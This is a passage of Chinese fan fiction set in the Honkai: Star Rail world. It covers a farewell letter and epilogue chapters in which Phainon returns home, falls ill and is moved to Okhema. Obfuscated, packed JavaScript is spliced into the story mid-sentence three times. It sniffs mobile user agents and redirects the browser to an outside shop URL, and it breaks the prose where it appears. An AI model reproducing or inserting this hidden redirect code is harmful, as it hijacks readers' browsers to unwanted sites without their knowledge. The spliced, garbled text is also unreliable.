不过说起奇美拉,在前两天举办的奇美拉大赛上,当迈德漠斯的奇美拉全数退场之后,他自己直接趴在赛场上,硬说自己是蜜果羹——好好一个王储,怎么会有如此灵活的自尊标准?真是让人百思不得其解。(照片附后) 关于你之前提到过的邀请,请容许我先感谢你和星穹列车的好意,但无法和诸位一起行走的理由和我不会长久地待在翁法罗斯的理由差不多,我不希望给各位带来不必要的危险和麻烦,当然,如果真的遇到什么麻烦,也可以叫我,虽然我未必能解决什么实质性的问题,但多个人总归多份力量,我也和黄金裔的各位讨论过,对于我们来说,星穹列车一直,也永 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119730|195956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远会是翁法罗斯最亲近的盟友,锦上添花易,雪中送炭难,对于列位在升格时对翁法罗斯的帮助,无论是我,还是翁法罗斯,都会铭刻在心,感念在怀——这是景元将军教的。 而下一句是我想说的,我想各位应该也已经很熟悉了。 刻法勒永志不忘。 波提欧先生曾经问过我要不要做巡海游侠,老实说,我有点动心,但他也说选择不止一个,他说我不用把未来道路的选择当成太大的压力,毕竟人生那么长,即使到处闲逛,也是难得的好时光。相反,银枝先生觉得纯美骑士团也很适合我,遍行寰宇之中而行纯美之事,其实这也不错,只是银枝先生总是问我是否承认纯美女神伊德莉拉美貌盖世无双––承认,当然承认。 那刻夏老师还在满星系地到处乱飞,有时候我们偶然遇见的时候我简直有点担心他的身体——自从身体好了不少之后,他积极主动地投入研究中,常常几天都不睡觉,这能行吗?我又劝不动。我已经在思考要不要帮那刻夏老师管风堇要一点可吸入式助眠药物了。 我和舰长他们时常还有联系,听说格莱舰长已经放弃了货运舰舰长的身份––也许是因为这一趟行程太危险了?大多数来自舰长先生和谢尔微的问候都是天冷多穿衣服天热少穿衣服之类的……我真的很怀疑我当时究竟给他们留下了什么样的坏印象。不过除此之外,格莱舰长还给我打包寄了好大一堆星际法律法规,什么《新生星球支援与人道主义管理公约》,《星际反倾销公约》,《星际反垄断公约》,《星际反不正当竞争公约》,据他说学会了能避免吃不少亏……但是真的很难,我不是很喜欢文科。 搭档,真实的世界,流动的时间,我们的未来都有无限的可能,期待着在星海中与你们的再度相遇,毕竟无论是开拓的脚步还是我的脚步,都永远不会停歇,既然这样,就让我们在下次见面时,再共享彼此的故事吧。 愿盛宴永不落幕,愿欢笑永不停歇,愿翁法罗斯与星穹列车的故事绵延不绝,愿我们的友谊永远深厚。而我相信,当我们再次见面,互相讲述我们的故事时,我们所面对的,一定会是一个崭新又美好的未来。 愿你我此行,终抵群星。 70. 【番外】归乡(上) 他回到翁法罗斯这件事,除了与他同行的缇里西庇俄丝和赛飞儿之外,没有任何人知道。他本不想不告而别,可缇里西庇俄丝提醒了他。 “如果小白和公司的人一起去时光归墟的话……虽然也不是不可以,但总归会有些为难,” 缇里西庇俄丝说,“毕竟翁法罗斯刚刚升格,虽然公司确实也能算作我们的合作伙伴,可翁法罗斯除了奥赫玛之外的其他场所暂不开放也是不争的事实,时光归墟更是禁区中的禁区,如果小白和他们一起到达那里的话,刻律德菈陛下也许也会有些为难,毕竟法令既然已经成立,就必须执行,否则新的法令就会变成一纸空文。但如果小白先回来的话,就算那艘货运舰上的大家真的去了,事情也许也会有所转机。‘货运舰护卫’小白,和‘时光归墟的主人’小白,还是很不一样呢。” 白厄倒是能听懂其间复杂的弯弯绕绕,他醒过来的时候整艘货运舰的人还在沉睡,他最后看了看醒来之后第一眼看到的世界,又自嘲地笑了一下,心说又不是以后见不到了,解决了这趟要命的行程,总还有机会在真实的星空下相见,想到这他不再迟疑,提起笔写了封信便离开了这里,跟着缇里西庇俄丝一起坐上了返回翁法罗斯的星际列车。 很好,现在连缇里西庇俄丝和赛飞儿都不知道他去哪里了,列车到站后他便和两人礼貌道别,赛飞儿盯着他看了半天,才干巴巴地挤出句话。 “你……你不回奥赫玛啦?” “有机会的话,我会去的。”白厄认真地说,“但现在还不行。” “好吧,救世小子,随便你。”赛飞儿说着说着,又突然想起了什么,她重新笑起来,笑得相当狡诈。 “哼哼,你别忘了咱俩还有场赛跑呢!”她得意洋洋地说,“现在你可有腿了,要是跑不过我,我就,我就……” 就什么呢?她气鼓鼓地,半天没说出来,倒是缇里西庇俄丝出来打了个圆场。 “飞儿,你和小白的,嗯……恩怨,要不之后再说吧。”缇里西庇俄丝温柔地说,“现在让小白去奥赫玛还是太难为他啦。” “好吧,”赛飞儿说,她倒也没纠结,“我找金织女要报酬去,那可是好——大一笔钱……” 提起这个她就高兴,那些亮闪闪的金币简直在她的眼前发着光,她幻想着那些钱的用处,而白厄从包里掏出了厚厚的一沓钱——还有一些小纪念品。 “你这是做什么?”赛飞儿摸不着头脑。 “之前阿格莱雅委托开拓者转交给我的钱,我……” “小白。”缇里西庇俄丝第一次打断了他的话,虽然声音仍然温和,但她的手轻柔地、不容置疑地将白厄的钱推了回去––她只拿走了那一小袋纪念品。 “看到纪念品阿雅会很高兴的,但是如果看到这些钱,阿雅多半会生气。”她肯定地说。 “就是说嘛,给你你就拿着,你跟她客气什么,反正她有钱。”赛飞儿撇撇嘴,“或者你自己去找金织女,我可不想触她雷区。” 白厄便沉默着,犹豫着将那些钱收回了包里,他看到缇里西庇俄丝一拍脑袋,似乎突然想起了什么,但她什么都没说,只是挥了挥手。 “有空一定要来奥赫玛转一转呀。”缇里西庇俄丝笑着说。 “你要是不来我就把你抓过来!”赛飞儿张牙舞爪地威胁。 白厄也笑着点了点头。 “再见。”他说。 哀丽秘榭是个小地方。 翁法罗斯日新月异的交通工具让他瞠目结舌,尽管这样,从星际接驳点到哀丽秘榭,也要坐上几个系统时的有轨车––大地兽终于荣获退休,那刻夏老师想必非常高兴––下了车后,还要倒班车,白厄拎着自己的包站在人群中,只觉得自己背上的大剑实在有点累赘——想到这他哑然失笑,心说这老伙计跟了自己这么多年,恐怕是第一次被自己嫌弃累赘,当他打算下车时,面前一台奇形怪状的机器拦住了他的去路,机器旁边还有个告示牌。 【提示:此地目前不对星际旅客开放,本地旅客请出示身份证明,严禁带人进入。】 什么东西? ……他上上辈子,上辈子连同这辈子后知后觉地、第一次发现翁法罗斯还有身份证明这种东西,他胡乱地左右拍拍,在包里竟然真的翻到了个硬硬的东西,他拿出来一看,真巧,正好是一张身份证明,还是他自己的。 如果不是旁边的一堆钱,白厄本来是猜不到这东西到底是谁塞给他的,门径的半神这辈子应该第一次把权能用在了别人的包上。他认命地叹了口气,想行行行,好好好,老师们一个个财大气粗——可问题这财大气粗怎么这么自然地流进了他的身上?他随手一刷,虚拟的透明光幕便缓缓展开,他走了进去。 此时是翁法罗斯的平衡月,哀丽秘榭的麦田光秃秃,他轻车熟路又蹑手蹑脚地朝家门走去,没惊动任何一个人,离家越近,他越惶恐,终于到了那间熟悉的房子,他偷偷地顺着窗户看进去,看到奥妲塔和希格摩尼斯的身影,他强忍着眼泪,敲了敲熟悉又陌生的家门。 “谁啊?”奥妲塔走了过来,她毫无防备地开了门,下一刻,一个影子闪过,那影子钻进了她的怀中。 “妈妈。”他哽咽着说。 “哎呀,这……我们当时哪里都找不到你……哎呀,你这孩子,都这么大了还这么爱哭……”奥妲塔同样手足无措,短暂的惊喜和百感交集后,她抱住已经比她还高的儿子,莫名想起他小时候的样子,他小时候似乎不哭,这孩子怎么越长大越爱哭了。希格摩尼斯匆匆地跑了出来,见到来客后一言不发,只是狠狠地抱住了他们。 “……回家就好。”许久,他才说。 “所以你这孩子到底跑哪去了?”短暂的激动后,奥妲塔忙着给回来的儿子准备点简单的吃食。见他吃下几个蜜饼,也不作声,奥妲塔忍不住问道。 “我犯罪了。”白厄说,他低下了头,“翁法罗斯升格之前,我……杀死了很多人……” “那……那可真不好,”奥妲塔有点为难地犹豫了半天,在帮亲和帮理之间,她还是纠结地做出了决定,“那……那也没事,刻律德菈陛下在升格结束后宣布赦免此前所有的罪行……之后不要再犯了好不好?妈妈相信你肯定也有你的理由……你……哎呀,就算法律赦免了你,你也总得想办法补偿一下那些被你伤害过的人呀。没关系,你做了坏事,妈妈也有责任。妈妈会和你一起面对,然后咱们之后哪也不去了,就在哀丽秘榭种麦子,麦子种好了,咱们就去卖,卖完了钱,就让你爸爸开着车带着我们一块去到处转转,看看奥赫玛那种大地方。” 她细声细气地哄着自己的儿子,顺便在白厄注意不到的地方狠狠地给希格摩尼斯甩了个眼神,无声地谴责他把哄儿子这件事交给她一个人来解决这件事。希格摩尼斯挠了挠头,他实在不知道怎么哄孩子——从小到大都是这样。 “您很想去奥赫玛?”白厄敏锐地察觉了母亲眼中的向往。 “没有。”奥妲塔说,“我就是随口一说,实际上只要咱们一直在一起,哪里不是家呢?” 是啊,只要他们一直在一起,哪里都是家。 在漫长到近乎永恒的时光中,白厄能够陪伴在父母身边的时间少之又少,甚至可以忽略不计,但这少而又少的时光又构成了属于白厄的大部分人格,和父母在哀丽秘榭的时光同样是他漫长苦旅中仅剩的甜的一部分。那些过往的、金灿灿的记忆被他咀嚼掰碎塞入口中,然后他又会拿起仪式剑和侵晨再度前行。他想起黑潮总会侵袭哀丽秘榭,他也总是会向着奥赫玛的方向逃亡,每一次第一次进入奥赫玛,对他来说都不是什么好的回忆,但现在一切终于似乎都在向好的方向发展,他也终于能暂时放下一切,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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白厄不回奥赫玛,不代表奥赫玛不关注他,阿格莱雅的工作向来细心又润物细无声,她早就猜测到白厄回到翁法罗斯的第一站一定是哀丽秘榭,嘱咐所有人不许去打扰他之后又在哀丽秘榭附近加派了点人手,她自认为不算监视,只是一点简单的看护,谁能放心让自己家自毁冲动严重的救世主到处乱跑。结果这边别的消息还没多少,传来的第一个消息就是白厄病了,听到这消息阿格莱雅立刻放下笔向哀丽秘榭赶去。以白厄的体质,平时应该不会发烧,阿格莱雅忧心忡忡地想,风堇似乎明天才能回来,要不要无视白厄意愿把他抓到奥赫玛?奥赫玛的医疗水平比哀丽秘榭会好不少,是留下什么后遗症了吗?需要静养吗?三千万世对于身体和精神的伤害一样巨大,阿格莱雅自己也曾经感受过人性淡薄的滋味,自然知道漫长岁月流逝带来的痛苦有多难熬。 她赶路的速度不慢。没过多久她就到达了哀丽秘榭,她想自己给这边的治疗所加派人手的行为果然是对的,希格摩尼斯在取相关材料,一旁的奥妲塔这边看着儿子被做各种检查,那边看到个衣着华贵的金发贵族走进治疗所,看她的眼神紧盯着自己已经毫无意识的儿子,她很快想到白厄回来时和她说的那句犯罪杀人,但母性的本能很快战胜了恐惧,她战战兢兢地站了起来。 “阁下……” “您好,我名阿格莱雅。”阿格莱雅礼貌点头,她看到白厄的母亲的脸色涨红,似乎想说些什么。 阿格莱雅从来有耐心又礼貌,她挂着完美的笑容站在那里,耐心地等待着奥妲塔的下一句话,只听得奥妲塔颤颤巍巍地说。 “刻律德菈陛下已经赦免了升格前的一切罪行。” 阿格莱雅点点头。 确实有这条,刚升格时翁法罗斯可谓内忧外患。为了避免局势太混乱,也为了避免乱七八糟的记忆造成更大的问题,刻律德菈直接选择干净利落地一刀切,要求大家先把精力放在集中生产上,法令上甚至还有作为签发人的阿格莱雅的署名,可白厄的母亲为什么这时候提起这件事?饶是以阿格莱雅的智商和情商,此时也有点没想明白。 没想明白阿格莱雅也不着急,现在她更着急的是白厄的身体状况,她控制不住地向白厄那边看了又看,心想果然不该一时心软让他直接回哀丽秘榭,当时应该直接把他绑回奥赫玛确定他没什么问题再说,虽说现在后悔也不算晚,可毕竟当着人家母亲的面实在不好随意绑人,想到这她垂下眸子,不知道究竟在想什么,白厄在那边咳了两声,阿格莱雅不自觉地攥紧了手。 接着她听到奥妲塔颤声问她,“就算我的儿子犯了罪,出于人道主义精神,能不能等他醒过来再说?” 阿格莱雅:“?” 金织鲜有好奇心,但不是现在。 现在,她倒是真想听听白厄醒着的时候到底和奥妲塔说了什么。 71. 【番外】归乡(下) 悠长的岁月中,阿格莱雅算得上是白厄的半个抚养人。 真的要算起来,大半个也行。在最近也是最深刻的记忆中,白厄来到奥赫玛之后便被她当做下一任逐火之旅的领袖培养,阿格莱雅刚刚见到他时,白厄还是个很小的孩子,虽说见到人就笑,可没人的时候,他总是呆呆地坐在那里看着奥赫玛的黎明机器发呆,阿格莱雅抚育他,起先是因为最完美的黄金裔的预言,但后来相处之下,即使她人性淡薄,可长久相处,也总有几分真心,现在人性回归,那几分真心又被扩大了无限倍。现在就算白厄在她面前穿黄带紫招摇过市,阿格莱雅也能勉强捏着鼻子认了。 她心中着急,面上不显,完美的微笑又出现在她的脸上。 “如您所说,”她温和又沉稳地说,“刻律德菈陛下早已赦免了一切再创世之前的罪行,我自然并非为了他的所行所为而来,事实上,在再创世之时,我们曾是并肩作战的战友,此次前来,我只是想了解一下他的身体状况——如果情况不佳,我也可以帮忙联系奥赫玛方面。” 这事情倒是挺常见,升格,或者说再创世之后,有不少人会在真实的世界中寻找自己的伙伴,相拥而泣和反目成仇者都有不少,虽说奥妲塔想不明白自己家的孩子到底在再创世时如何和这种大人物扯上了关系,但既然对方主动找上门来,奥妲塔也不会客气。 病床上的白厄又不舒服地呻吟了一声。 阿格莱雅一瞬的紧张没瞒过奥妲塔的视线,她虽说仍有戒心,警惕心却下降了大半,完美之人的一瞬破绽总能打动人心,阿格莱雅知道。 如非情况紧急,她其实想用更真诚的沟通方式,但现在不行,她不会浪费一点时间。 “这边的建议是转到奥赫玛进行下一步观察……”希格摩尼斯面有愁容,“但……” 等等,这屋子里什么时候来了个奇怪的城里人? 他还没来得及向妻子发问,便听到那个城里人用一种温和又威严的,不容置疑的口吻说道。 “那就现在带他去奥赫玛,那边我已经安排好了……没问题吧?” 话说的温和,这城里人却似乎没有一点和他们商量的意思。夫妻俩不约而同地点了点头,同时在心中暗自疑惑。 自己家的孩子什么时候能和这种大人物扯上关系了? 白厄又说了两句什么,似乎还咳了两声,听不清楚,但阿格莱雅不想再在这里耽误时间,她左右看了一眼,便有人帮忙直接把白厄搬到了外面的飞行器上——等等,哀丽秘榭哪来的飞行器? “这个比较快。”见夫妻俩疑惑的表情,阿格莱雅友善地解释道,又不露痕迹地、安抚地试了试白厄的额温。 发烧了,她想。 “这孩子从小就怕热。”奥妲塔说,“每次发烧都哼哼唧唧的。” 她细心地擦了擦白厄唇边咳出的血,脸上的愁容越来越深。 一句话,阿格莱雅百感交集,她勉强嗯了一声权做回应,又垂下了眸子。 白厄在做梦。 他在奔跑。 过去在他的身后穷追不舍。 他想要找到些什么? 他不知道。 他只是一味地奔跑,熊熊的火光在他的身后燃烧,滚烫的炽焰几乎扑上他的背,可他只是向前跑,拼命地向前跑,但前方是条死路,于是他只得转过头,看向一直对他穷追不舍的人。 是盗火行者。 “翁法罗斯……已经死了……”盗火行者断断续续地说,“大家……也都死了……这里……只剩我们……” 白厄愣了一下,他僵硬地转过头,看向周围堆积如山的尸体,这里的所有人他都认识,此刻他们的眼睛或睁或闭,有的人身上还带着火焰灼烧与剑刃刺透的痕迹,有的人的武器不甘地指向天空,金色的血与鲜红的血交叠着流淌,在他的脚下汇成一摊黏腻的血泊,又缓慢地爬上了他的身体,仿佛某种不详的预兆。 是假的,白厄想。 “不是……假的……而是……未来……”盗火行者仿佛看穿了他的想法,他慢慢地说,“在……可预知的……未来里……大家都会……死……” “我们……也会死……”盗火行者说话缓慢。 “所有人都会死的。”初始的短暂震惊过后,白厄平静地说。 “你也会,我也会。我们都会死。” “那……有什么意义?”盗火行者安静下来,半晌才问。 “什么?”白厄问道。 现在这里的活物只剩他和盗火行者,他也不急,只是看着对面人被火焰烧灼得失神的眼睛发问。 “毁灭……毁灭……有何意义?”盗火行者问道。 “一切……归于熵增……宇宙……归于寂灭……这是……必然的……结局……翁法罗斯升格……但它也会死……你认识的那些人……来到真实的世界……但他们也会死……生命……不过瞬息……毁灭……才是永恒……与最后的归宿……” “纵使你……燃烧自己……付出一切……行走于逆于命途的道路上……可毁灭……仍然如期而至……毁灭……追随所有生命……毁灭……追随所有文明……你的燃烧……有何意义?你所行走的……是飞蛾扑火般的道路……向光而行……直至最终……归于寂灭……” “回答我……卡厄斯兰那。” “没有意义。”白厄摇摇头,“但妈妈做的蜜饼很好吃,爸爸的肩膀也很可靠。” 他看到对面的盗火行者明显地愣了一下。 “什么……意思?”他问。 “阿格莱雅想开一家衣物店,那刻夏老师总在追求真理的意义,遐蝶想做个普通人,风堇想守护大家……而现在,似乎他们都能得偿所愿,新生的翁法罗斯,总能包容他们平凡的愿望和梦想。”他没理盗火行者,继续如数家珍地说道。 “我的意思是,追求意义本身就是没有意义的,”白厄又说,“人活在世,从来不是为了抽象的意义而活,就像我踏上这条道路的时候从未想过所谓的意义。我最初踏上旅程,只是为了拯救身边所爱的人,因为这些和我产生连结的事物,我才去进一步爱这个世界,因为爱这个世界,才会从心底里痛恨毁灭这些美好的存在,才会踏上毁灭毁灭的道路。” “所谓毁灭毁灭,并不是个多么宏大的命题,它只是产生于最初的,微小的愿望而已。如果非要以抽象的所谓意义掩盖具体的大家的愿望,反而是一种背叛。” “即使只能将毁灭延缓一瞬,可那一瞬所诞生的美好,就是燃烧此身的全部意义。” 说着说着,他又笑起来。 “可别把我看得太厉害啊,”他说,“我只是个普通人而已。” “愿望……”盗火行者慢慢地说。 “我……是你……”他说。 “我知道。”白厄说。 “我是你的……恶的半身……我是血泪……我是应当被你……抛弃的存在……” “你就是我。”白厄肯定地说。 “我从来不会尝试将自己切割成纯白无瑕的我和不择手段的我,对于我来说,我就是我,拯救世界之人是我,至深的罪也是我,我所行所为,皆出自本心,你也是我的一部分,我接受你。” 盗火行者似乎愣住了,于是白厄主动走上前去,拥抱了另一个自己,他感受着那个自己身上所散发的滚烫温度,听见盗火行者在他的耳边低声说,向前走,别回头,别向祂低头。 “我不会回头,我也绝不低头。”白厄肯定地说。 卡厄斯兰那总会一直向前。 卡厄斯兰那总会走过痛苦,走过悲伤,他已行过死荫的幽谷又扣响那罪的门扉,而后,在以后的岁月里,他会踏上一条永不回头的征程,好在真实的世界里尚有美景相伴,极光与永夜同样美丽,宇宙沉默无声,世界静默如谜。 看看这世界,卡厄斯兰那。 下一秒,他猛然睁开眼睛,毫不意外地看到了昏光庭院熟悉的天花板。 该说是不出所料还是意料之中,他隐隐约约地总有种预感,第一次来到奥赫玛的话,他的第一站肯定是昏光庭院,但他不是主动来到这里又被风堇抓过来的,而是被动地被转运到这里的。 过程无关紧要,结果大致相同,他竖了竖耳朵,听到门外有个熟悉的声音正自言自语地碎碎念。 “真的不能考虑把令使劈开再拼上吗?萨玛兰妲这里没问题,我们星球都这么做,可是他们不让萨玛兰妲这么做……” “萨玛兰妲。”他准确地叫出来人的名字,又暗暗地叹了口气,“你能不能把你多余的奇特幽默感收起来。” 那边果然闭紧了嘴巴,没一会儿,有个拿着柄长柄伞的小姑娘慢悠悠地探了个脑袋进来。 “令……” “白厄。”白厄说,他不着痕迹地看了看周边,第一次真心地希望这人机蘑菇能理解自己的意思。 人机蘑菇果然不负众望。 “白厄令使,”她好奇地说,“在你们的星球把毁灭称作白厄吗?” “把令使两个字去掉。”白厄咬牙切齿,“白厄是我的名字……话说你不是读过我的记忆吗?” “萨玛兰妲不太关心他人的名字,不过好吧,白厄,真高兴你还活着,毕竟你这种毁灭的令使在失去意识时会下意识地自我毁灭也算常态,命途之力就是如此,不过又不会太严重……总不至于把你自己弄死就是了。”萨玛兰妲说,“刚刚我还在和风堇小姐讨论你的治疗方案,可惜她似乎不怎么认可,这可是扶桑也同意的优质方案……” “谢谢你。”白厄沉默了一下说道,“但你还是少出点馊主意吧……话说你原来能离开方跃星的吗?” “孢子而已。”萨玛兰妲轻松地说,“给孢子塑形并附上意识不是很简单吗?” 不简单,至少人类就没有孢子这种东西,萨玛兰妲从来不懂换位思考——大多数时候以她的身份也不需要换位思考。但他思考了一下,还是问出了自己目前最好奇的问题。 “你来这里做什么?” 听见萨玛兰妲的声音简直让他疑心自己还在方跃星的货运舰里,他差点怀疑了一下这里到底是哪。 “唔……仙舟那边接管了一部分扶桑的管理权,也就是说,萨玛兰妲没必要一直在那里守着啦……萨玛兰妲又不知道去哪里转,所以先来附近逛逛,恰巧路过而已,要是用不着我我就走了,奥赫玛的天气真晒蘑。” “再见。”白厄毫不留恋地说。 “别总想着把人类劈成几半,人类又不是蘑菇。”想了想,他又好心告诫道。 “没有,这是萨玛兰妲对友好人类的待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“她没对您做什么吧?”风堇小声问。 “我不知道,”白厄同样小声说,“我刚刚醒。” “虽然在仙舟有所耳闻,但是手痛砍手脚痛砍脚的治疗方法还是太超前了,”风堇叹气,“他们丰饶命途都这样吗?” “……有可能吧。”白厄沉默了一下。 “白宝这次是劳累过度了,”风堇又说,“一直紧绷着费心费力又费神,松弛下来确实很容易病一场,你昏迷了整整六天,期间又是发烧又是吐血,我们都吓坏了,虽然检查结果上来看没什么大问题,可白宝总是不醒……你要是再不醒的话,我就去联系仙舟那边了。” “算了,”白厄笑了一声,“还是别去仙舟了,我去仙舟他们还得分出人手监视我……我爸爸妈妈呢?” “他们去休息了,”风堇说,“前两天叔叔阿姨守了你好久,敌宝这两天总来看你,他焦虑得不得了。那刻夏老师前天也来过,他在勾陈星系那边的学术会议刚结束,刚回来就问您回没回来,还和阿格莱雅大人吵了场不大不小的架……” “这场学术会议这么久吗?” “对于老师来说,两三个月的学术会议已经是常态了,”风堇习以为常地摆摆手,“最近他好像在研究什么树和泡泡,哎呀,我也不太明白,总之,老师说白宝醒了的话告诉他一声……” “不用了吧。”白厄说,“那刻夏老师舟车劳顿……” “他好来骂你。”风堇说。 白厄:“……” “我好了我走了。”他小声碎碎念,试图脚底抹油开溜,被风堇一把按在了病床上。 “还需要静养呢,”风堇虽然还笑着,白厄却莫名有点心惊胆战,“白厄阁下现在走,骂你的可不止那刻夏老师一个人。” “我……”他欲哭无泪。 “真的没事,真的。”他说。 “啊对了,”风堇像是没听到他的抗议,自顾自地说道,“阿格莱雅大人把您的身份证明封在奥赫玛了,这一点奥妲塔阿姨和希格摩尼斯叔叔都同意了,也就是说,短时间内,在合法的前提下,您在翁法罗斯哪里都去不了,阿格莱雅大人的意思是至少在奥赫玛修养到我觉得可以的程度。” “那你现在觉得……”白厄试探着问。 “不行。”风堇温和地、冷静地、不容置疑地微笑道。 “看在同僚之情的份上……” “多加半个月修养期。”风堇无情地说。 白厄:“……” 他怀着侥幸心理想自己的身份证明被封也许会有个缓冲期,但他一摸包,发现根本不需考虑这个问题,现在不仅身份证明被封了,他甚至找不到那东西,只有包里嚣张的纸条诉说着动手者的身份,纸条倒是挺短,上面只写了三个字,又划了划,写得更长了一点。 来抓我。 等你好一点之后来抓我。 后面那句话明显潦草了不少。 好吧,白厄苦中作乐地想,看起来在被大家轮流唠叨一遍之前,他是没法离开奥赫玛了。 但他很快又想到了个更严重的问题。 我家的麦地怎么办! 萨玛兰妲正在外闲逛,看到毁灭的令使竟然难得给她打了个电话,她相当好奇到底发生了什么大事需要两个令使联手––虽然她不完全是,于是笑嘻嘻地接起电话。 “回心转意了?令使?”她问,“萨玛兰妲提供砍成八块服务哦,当然,会治好。” 她听到电话那边的毁灭令使沉痛、悲愤、屈辱地问道。 “……尊敬的地母神,您会种麦子吗?” ……啊?